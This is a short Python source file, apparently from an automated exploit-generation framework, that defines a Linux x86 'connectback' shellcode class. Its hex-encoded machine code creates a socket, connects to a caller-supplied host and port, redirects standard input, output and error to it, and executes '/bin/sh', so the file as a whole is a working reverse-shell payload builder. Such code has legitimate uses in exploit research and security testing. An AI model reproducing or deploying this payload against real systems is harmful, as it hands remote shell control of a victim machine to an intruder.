import socket
import struct
import binascii

from ..shellcode import Shellcode


class LinuxX86Connectback(Shellcode):

    # TODO: should be 'linux' once CLE can identify linux files
    os = ["unix"]
    arches = ["X86"]
    name = "connectback"
    code = (binascii.unhexlify("31c031db31c951b10651b10151b1025189e1b301b066cd8089c231c031c9515168") +
            b"%s" +
            b"\x66\x68" +
            b"%s" +
            binascii.unhexlify("b102665189e7b31053575289e1b303b066cd8031c939c1740631c0b001cd8031c0b03f89d3cd8031c0b03f89d3b101cd8031c0b03f89d3b102cd8031c031d250686e2f7368682f2f626989e3505389e1b00bcd8031c0b001cd80")
            )

    def __init__(self, host, port):
        self.host = host
        self.port = port

        if self.port < 0 or self.port >= 65535:
            raise ValueError("invalid port specified")

    def raw(self, arch=None):

        target_ip = socket.gethostbyname(self.host)
        raw_ip = binascii.hexlify(socket.inet_aton(target_ip))
        raw_port = binascii.hexlify(struct.pack("!H", self.port))

        return self.code % (raw_ip, raw_port)
